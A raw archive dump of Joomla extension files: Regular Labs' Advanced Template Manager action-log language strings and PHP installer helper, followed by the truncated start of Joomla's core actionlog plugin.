template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKco�[���e��Nadvancedtemplates/language/uk-UA/uk-UA.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKco�[j���PPJadvancedtemplates/language/vi-VN/vi-VN.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Với Advanced Template Manager bạn
có các tùy chọn và tính năng thêm để quản lý template của
bạn."

ATP_SETTINGS="Vui lòng xem [[%1:start link%]]Template Manager[[%2:end
link%]] để thiết lập."
ATP_THE_COMPONENT="the Advanced Template Manager component"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKco�[���e��Nadvancedtemplates/language/vi-VN/vi-VN.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKco�[~G����Jadvancedtemplates/language/zh-CN/zh-CN.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="操作日志 - Regular Labs -
高级模板管理器"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="记录高级模板管理器用户的操作"
ADVANCEDTEMPLATEMANAGER="高级模板管理器"

ADVANCEDTEMPLATEMANAGER_DESC="使用高级模板管理器,您可以使用其他选项和功能来控制模板。"

ATP_SETTINGS="有关设置,请参见[[%1:start
link%]]模板管理器[[%2:end link%]]。"
ATP_THE_COMPONENT="高级模板管理器组件"
ATP_THE_SYSTEM_PLUGIN="高级模板管理器系统插件"

ATP_ACTION_FOLDER_FILE_ACTIONS="文件夹/文件操作"
ATP_ACTION_TEMPLATE_COPY="复制模板"
ATP_ACTIONLOGS_FILE_ADDED="用户<a
href='{accountlink}'>{username}</a>将<a
href='{filelink}'>{file}</a>添加到模板{template}"
ATP_ACTIONLOGS_FILE_DELETED="用户<a
href='{accountlink}'>{username}</a>已从模板{template}中删除{file}"
ATP_ACTIONLOGS_FILE_UPDATED="用户<a
href='{accountlink}'>{username}</a>已从模板{template}中更新<a
href='{filelink}'>{file}</a>"
ATP_ACTIONLOGS_STYLE_SET_HOME="用户<a
href='{accountlink}'>{username}</a>将默认模板样式更改为<a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="用户<a
href='{accountlink}'>{username}</a>创建了一个名为“{to_name}”的新模板(“{from_name}”的副本)"
ATP_TEMPLATE_FILE="模板文件"
PKco�[iV�;Nadvancedtemplates/language/zh-CN/zh-CN.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="操作日志 - Regular Labs -
高级模板管理器"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="记录高级模板管理器用户的操作"
ADVANCEDTEMPLATEMANAGER="高级模板管理器"
PKco�[+B��}Y}Y+advancedtemplates/script.install.helper.phpnu�[���<?php
/**
 * @package         Advanced Template Manager
 * @version         3.9.5
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2021 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Installer\Installer as JInstaller;
use Joomla\CMS\Language\Text as JText;

class PlgActionlogAdvancedTemplatesInstallerScriptHelper
{
	public $name              = '';
	public $alias             = '';
	public $extname           = '';
	public $extension_type    = '';
	public $plugin_folder     = 'system';
	public $module_position   = 'status';
	public $client_id         = 1;
	public $install_type      = 'install';
	public $show_message      = true;
	public $db                = null;
	public $softbreak         = null;
	public $installed_version = '';

	public function __construct(&$params)
	{
		$this->extname = $this->extname ?: $this->alias;
		$this->db      = JFactory::getDbo();
	}

	public function preflight($route, $adapter)
	{
		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		JFactory::getLanguage()->load('plg_system_regularlabsinstaller',
JPATH_PLUGINS . '/system/regularlabsinstaller');

		$this->installed_version =
$this->getVersion($this->getInstalledXMLFile());

		if ($this->show_message && $this->isInstalled())
		{
			$this->install_type = 'update';
		}

//		if ($this->extension_type == 'component')
//		{
//			// Remove admin menu to prevent error on creating it again
//			$query = $this->db->getQuery(true)
//				->delete('#__menu')
//				->where($this->db->quoteName('path') . ' =
' . $this->db->quote('com-' . $this->extname))
//				->where($this->db->quoteName('client_id') . '
= 1');
//			$this->db->setQuery($query);
//			$this->db->execute();
//		}

		if ($this->onBeforeInstall($route) === false)
		{
			return false;
		}

		return true;
	}

	public function postflight($route, $adapter)
	{
		$this->removeGlobalLanguageFiles();
		$this->removeUnusedLanguageFiles();

		JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, $this->getMainFolder());

		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		$this->fixExtensionNames();
		$this->updateUpdateSites();
		$this->removeAdminCache();

		if ($this->onAfterInstall($route) === false)
		{
			return false;
		}

		if ($route == 'install')
		{
			$this->publishExtension();
		}

		if ($this->show_message)
		{
			$this->addInstalledMessage();
		}

		JFactory::getCache()->clean('com_plugins');
		JFactory::getCache()->clean('_system');

		return true;
	}

	public function isInstalled()
	{
		if ( ! is_file($this->getInstalledXMLFile()))
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('type') . ' =
' . $this->db->quote($this->extension_type))
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName()))
			->setLimit(1);
		$this->db->setQuery($query);
		$result = $this->db->loadResult();

		return empty($result) ? false : true;
	}

	public function getMainFolder()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				return JPATH_PLUGINS . '/' . $this->plugin_folder .
'/' . $this->extname;

			case 'component' :
				return JPATH_ADMINISTRATOR . '/components/com_' .
$this->extname;

			case 'module' :
				return JPATH_ADMINISTRATOR . '/modules/mod_' .
$this->extname;

			case 'library' :
				return JPATH_SITE . '/libraries/' . $this->extname;
		}
	}

	public function getInstalledXMLFile()
	{
		return $this->getXMLFile($this->getMainFolder());
	}

	public function getCurrentXMLFile()
	{
		return $this->getXMLFile(__DIR__);
	}

	public function getXMLFile($folder)
	{
		switch ($this->extension_type)
		{
			case 'module' :
				return $folder . '/mod_' . $this->extname .
'.xml';

			default :
				return $folder . '/' . $this->extname . '.xml';
		}
	}

	public function uninstallExtension($extname, $type = 'plugin',
$folder = 'system', $show_message = true)
	{
		if (empty($extname))
		{
			return;
		}

		$folders = [];

		switch ($type)
		{
			case 'plugin':
				$folders[] = JPATH_PLUGINS . '/' . $folder . '/' .
$extname;
				break;

			case 'component':
				$folders[] = JPATH_ADMINISTRATOR . '/components/com_' .
$extname;
				$folders[] = JPATH_SITE . '/components/com_' . $extname;
				break;

			case 'module':
				$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' .
$extname;
				$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
				break;
		}

		if ( ! $this->foldersExist($folders))
		{
			return;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName($type, $extname)))
			->where($this->db->quoteName('type') . ' =
' . $this->db->quote($type));

		if ($type == 'plugin')
		{
			$query->where($this->db->quoteName('folder') . '
= ' . $this->db->quote($folder));
		}

		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			foreach ($folders as $folder)
			{
				JFactory::getApplication()->enqueueMessage('2. Deleting: '
. $folder, 'notice');
				JFolder::delete($folder);
			}

			return;
		}

		$ignore_ids =
JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids',
[]);

		if (JFactory::getApplication()->input->get('option') ==
'com_installer' &&
JFactory::getApplication()->input->get('task') ==
'remove')
		{
			// Don't attempt to uninstall extensions that are already selected
to get uninstalled by them selves
			$ignore_ids = array_merge($ignore_ids,
JFactory::getApplication()->input->get('cid', [],
'array'));
			JFactory::getApplication()->input->set('cid',
array_merge($ignore_ids, $ids));
		}

		$ids = array_diff($ids, $ignore_ids);

		if (empty($ids))
		{
			return;
		}

		$ignore_ids = array_merge($ignore_ids, $ids);
		JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids',
$ignore_ids);

		foreach ($ids as $id)
		{
			$tmpInstaller = new JInstaller;
			$tmpInstaller->uninstall($type, $id);
		}

		if ($show_message)
		{
			JFactory::getApplication()->enqueueMessage(
				JText::sprintf(
					'COM_INSTALLER_UNINSTALL_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
				), 'success'
			);
		}
	}

	public function foldersExist($folders = [])
	{
		foreach ($folders as $folder)
		{
			if (is_dir($folder))
			{
				return true;
			}
		}

		return false;
	}

	public function uninstallPlugin($extname, $folder = 'system',
$show_message = true)
	{
		$this->uninstallExtension($extname, 'plugin', $folder,
$show_message);
	}

	public function uninstallComponent($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'component', null,
$show_message);
	}

	public function uninstallModule($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'module', null,
$show_message);
	}

	public function publishExtension()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				$this->publishPlugin();

			case 'module' :
				$this->publishModule();
		}
	}

	public function publishPlugin()
	{
		$query = $this->db->getQuery(true)
			->update('#__extensions')
			->set($this->db->quoteName('enabled') . ' =
1')
			->where($this->db->quoteName('type') . ' =
' . $this->db->quote('plugin'))
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->extname))
			->where($this->db->quoteName('folder') . ' =
' . $this->db->quote($this->plugin_folder));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function publishModule()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		// check if module is already in the modules_menu table (meaning is is
already saved)
		$query->clear()
			->select($this->db->quoteName('moduleid'))
			->from('#__modules_menu')
			->where($this->db->quoteName('moduleid') . ' =
' . (int) $id)
			->setLimit(1);
		$this->db->setQuery($query);
		$exists = $this->db->loadResult();

		if ($exists)
		{
			return;
		}

		// Get highest ordering number in position
		$query->clear()
			->select($this->db->quoteName('ordering'))
			->from('#__modules')
			->where($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id)
			->order('ordering DESC');
		$this->db->setQuery($query, 0, 1);
		$ordering = $this->db->loadResult();
		$ordering++;

		// publish module and set ordering number
		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('published') . ' =
1')
			->set($this->db->quoteName('ordering') . ' =
' . (int) $ordering)
			->set($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('id') . ' = '
. (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		// add module to the modules_menu table
		$query->clear()
			->insert('#__modules_menu')
			->columns([$this->db->quoteName('moduleid'),
$this->db->quoteName('menuid')])
			->values((int) $id . ', 0');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function addInstalledMessage()
	{
		JFactory::getApplication()->enqueueMessage(
			JText::sprintf(
				$this->install_type == 'update' ?
'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' :
'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY',
				'<strong>' . JText::_($this->name) .
'</strong>',
				'<strong>' . $this->getVersion() .
'</strong>',
				$this->getFullType()
			), 'success'
		);
	}

	public function getPrefix()
	{
		switch ($this->extension_type)
		{
			case 'plugin':
				return JText::_('plg_' .
strtolower($this->plugin_folder));

			case 'component':
				return JText::_('com');

			case 'module':
				return JText::_('mod');

			case 'library':
				return JText::_('lib');

			default:
				return $this->extension_type;
		}
	}

	public function getElementName($type = null, $extname = null)
	{
		$type    = is_null($type) ? $this->extension_type : $type;
		$extname = is_null($extname) ? $this->extname : $extname;

		switch ($type)
		{
			case 'component' :
				return 'com_' . $extname;

			case 'module' :
				return 'mod_' . $extname;

			case 'plugin' :
			default:
				return $extname;
		}
	}

	public function getFullType()
	{
		return JText::_('RLI_' . strtoupper($this->getPrefix()));
	}

	public function getVersion($file = '')
	{
		$file = $file ?: $this->getCurrentXMLFile();

		if ( ! is_file($file))
		{
			return '';
		}

		$xml = JInstaller::parseXMLInstallFile($file);

		if ( ! $xml || ! isset($xml['version']))
		{
			return '';
		}

		return $xml['version'];
	}

	public function isNewer()
	{
		if ( ! $this->installed_version)
		{
			return true;
		}

		$package_version = $this->getVersion();

		return version_compare($this->installed_version, $package_version,
'<=');
	}

	public function canInstall()
	{
		// The extension is not installed yet
		if ( ! $this->installed_version)
		{
			return true;
		}

		// The free version is installed. So any version is ok to install
		if (strpos($this->installed_version, 'PRO') === false)
		{
			return true;
		}

		// Current package is a pro version, so all good
		if (strpos($this->getVersion(), 'PRO') !== false)
		{
			return true;
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, __DIR__);

		JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'),
'error');

		JFactory::getApplication()->enqueueMessage(
			html_entity_decode(
				JText::sprintf(
					'RLI_ERROR_UNINSTALL_FIRST',
					'<a href="https://www.regularlabs.com/extensions/' .
$this->alias . '" target="_blank">',
					'</a>',
					JText::_($this->name)
				)
			), 'error'
		);

		return false;
	}

	/*
	 * Fixes incorrectly formed versions because of issues in old packager
	 */
	public function fixFileVersions($file)
	{
		if (is_array($file))
		{
			foreach ($file as $f)
			{
				self::fixFileVersions($f);
			}

			return;
		}

		if ( ! is_string($file) || ! is_file($file))
		{
			return;
		}

		$contents = file_get_contents($file);

		if (
			strpos($contents, 'FREEFREE') === false
			&& strpos($contents, 'FREEPRO') === false
			&& strpos($contents, 'PROFREE') === false
			&& strpos($contents, 'PROPRO') === false
		)
		{
			return;
		}

		$contents = str_replace(
			['FREEFREE', 'FREEPRO', 'PROFREE',
'PROPRO'],
			['FREE', 'PRO', 'FREE', 'PRO'],
			$contents
		);

		JFile::write($file, $contents);
	}

	public function onBeforeInstall($route)
	{
		if ( ! $this->canInstall())
		{
			return false;
		}

		return true;
	}

	public function onAfterInstall($route)
	{
		return true;
	}

	public function delete($files = [])
	{
		foreach ($files as $file)
		{
			if (is_dir($file))
			{
				JFolder::delete($file);
			}

			if (is_file($file))
			{
				JFile::delete($file);
			}
		}
	}

	public function fixAssetsRules()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('rules'))
			->from('#__assets')
			->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname))
			->setLimit(1);
		$this->db->setQuery($query);
		$rules = $this->db->loadResult();

		$rules = json_decode($rules);

		if (empty($rules))
		{
			return;
		}

		foreach ($rules as $key => $value)
		{
			if ( ! empty($value))
			{
				continue;
			}

			unset($rules->$key);
		}

		$rules = json_encode($rules);

		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__assets'))
			->set($this->db->quoteName('rules') . ' = '
. $this->db->quote($rules))
			->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function fixExtensionNames()
	{
		switch ($this->extension_type)
		{
			case 'module' :
				$this->fixModuleNames();
		}
	}

	private function fixModuleNames()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$module_id = $this->db->loadResult();

		if (empty($module_id))
		{
			return;
		}

		$title = 'Regular Labs - ' . JText::_($this->name);

		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('title') . ' = '
. $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = '
. (int) $module_id)
			->where($this->db->quoteName('title') . ' LIKE
' . $this->db->quote('NoNumber%'));
		$this->db->setQuery($query);
		$this->db->execute();

		// Fix module assets

		// Get asset id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__assets')
			->where($this->db->quoteName('name') . ' =
' . $this->db->quote('com_modules.module.' . (int)
$module_id))
			->where($this->db->quoteName('title') . ' LIKE
' . $this->db->quote('NoNumber%'))
			->setLimit(1);
		$this->db->setQuery($query);
		$asset_id = $this->db->loadResult();

		if (empty($asset_id))
		{
			return;
		}

		$query->clear()
			->update('#__assets')
			->set($this->db->quoteName('title') . ' = '
. $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = '
. (int) $asset_id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateUpdateSites()
	{
		$this->removeOldUpdateSites();
		$this->updateNamesInUpdateSites();
		$this->updateHttptoHttpsInUpdateSites();
		$this->removeDuplicateUpdateSite();
		$this->updateDownloadKey();
	}

	private function removeOldUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('nonumber.nl%'))
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateNamesInUpdateSites()
	{
		$name = JText::_($this->name);
		if ($this->alias != 'extensionmanager')
		{
			$name = 'Regular Labs - ' . $name;
		}

		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('name') . ' = '
. $this->db->quote($name))
			->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateHttptoHttpsInUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('location') . ' =
REPLACE('
				. $this->db->quoteName('location') . ', '
				. $this->db->quote('http://') . ', '
				. $this->db->quote('https://')
				. ')')
			->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('http://download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeDuplicateUpdateSite()
	{
		// First check to see if there is a pro entry

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'))
			->where($this->db->quoteName('location') . ' NOT
LIKE ' . $this->db->quote('%pro=1%'))
			->setLimit(1);
		$this->db->setQuery($query);
		$id = $this->db->loadResult();

		// Otherwise just get the first match
		if ( ! $id)
		{
			$query->clear()
				->select($this->db->quoteName('update_site_id'))
				->from('#__update_sites')
				->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
				->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
			$this->db->setQuery($query, 0, 1);
			$id = $this->db->loadResult();

			// Remove pro=1 from the found update site
			$query->clear()
				->update('#__update_sites')
				->set($this->db->quoteName('location')
					. ' = replace(' .
$this->db->quoteName('location') . ', ' .
$this->db->quote('&pro=1') . ', ' .
$this->db->quote('') . ')')
				->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
			$this->db->setQuery($query);
			$this->db->execute();
		}

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'))
			->where($this->db->quoteName('update_site_id') .
' != ' . $id);
		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') .
' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') .
' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	// Save the download key from the Regular Labs Extension Manager config to
the update sites
	private function updateDownloadKey()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('params'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote('com_regularlabsmanager'));
		$this->db->setQuery($query);
		$params = $this->db->loadResult();

		if ( ! $params)
		{
			return;
		}

		$params = json_decode($params);

		if ( ! isset($params->key))
		{
			return;
		}

		// Add the key on all regularlabs.com urls
		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' =
' . $this->db->quote('k=' . $params->key))
			->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeAdminCache()
	{
		$this->delete([JPATH_ADMINISTRATOR . '/cache/regularlabs']);
		$this->delete([JPATH_ADMINISTRATOR . '/cache/nonumber']);
	}

	private function removeGlobalLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$language_files = JFolder::files(JPATH_ADMINISTRATOR .
'/language', '\.' . $this->getPrefix() .
'_' . $this->extname . '\.', true, true);

		// Remove override files
		foreach ($language_files as $i => $language_file)
		{
			if (strpos($language_file, '/overrides/') === false)
			{
				continue;
			}

			unset($language_files[$i]);
		}

		if (empty($language_files))
		{
			return;
		}

		JFile::delete($language_files);
	}

	private function removeUnusedLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		if ( ! is_file(__DIR__ . '/language'))
		{
			return;
		}

		$installed_languages = array_merge(
			is_file(JPATH_SITE . '/language') ?
JFolder::folders(JPATH_SITE . '/language') : [],
			is_file(JPATH_ADMINISTRATOR . '/language') ?
JFolder::folders(JPATH_ADMINISTRATOR . '/language') : []
		);

		$languages = array_diff(
			JFolder::folders(__DIR__ . '/language') ?: [],
			$installed_languages
		);

		$delete_languages = [];

		foreach ($languages as $language)
		{
			$delete_languages[] = $this->getMainFolder() . '/language/'
. $language;
		}

		if (empty($delete_languages))
		{
			return;
		}

		// Remove folders
		$this->delete($delete_languages);
	}
}
PKco�[��c�QQ$advancedtemplates/script.install.phpnu�[���<?php
/**
 * @package         Advanced Template Manager
 * @version         3.9.5
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2021 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

require_once __DIR__ . '/script.install.helper.php';

class PlgActionlogAdvancedTemplatesInstallerScript extends
PlgActionlogAdvancedTemplatesInstallerScriptHelper
{
	public $name           = 'ADVANCEDTEMPLATEMANAGER';
	public $alias          = 'advancedtemplates';
	public $extension_type = 'plugin';
	public $plugin_folder  = 'actionlog';

	public function uninstall($adapter)
	{
		$this->uninstallComponent($this->extname);
		$this->uninstallPlugin($this->extname, 'system');
	}
}
PKco�[l���s�sjoomla/joomla.phpnu�[���<?php
/**
 * @package     Joomla.Plugins
 * @subpackage  System.actionlogs
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\User\User;
use Joomla\CMS\Version;
use Joomla\Utilities\ArrayHelper;

JLoader::register('ActionLogPlugin', JPATH_ADMINISTRATOR .
'/components/com_actionlogs/libraries/actionlogplugin.php');
JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR .
'/components/com_actionlogs/helpers/actionlogs.php');

/**
 * Joomla! Users Actions Logging Plugin.
 *
 * @since  3.9.0
 */
class PlgActionlogJoomla extends ActionLogPlugin
{
	/**
	 * Array of loggable extensions.
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $loggableExtensions = array();

	/**
	 * Context aliases
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $contextAliases = array('com_content.form' =>
'com_content.article');

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of
configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$params =
ComponentHelper::getComponent('com_actionlogs')->getParams();

		$this->loggableExtensions =
$params->get('loggable_extensions', array());
	}

	/**
	 * After save content logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called right after the content is saved
	 *
	 * @param   string   $context  The context of the content passed to the
plugin
	 * @param   object   $article  A JTableContent object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		if (isset($this->contextAliases[$context]))
		{
			$context = $this->contextAliases[$context];
		}

		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		if ($isNew)
		{
			$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_ADDED';
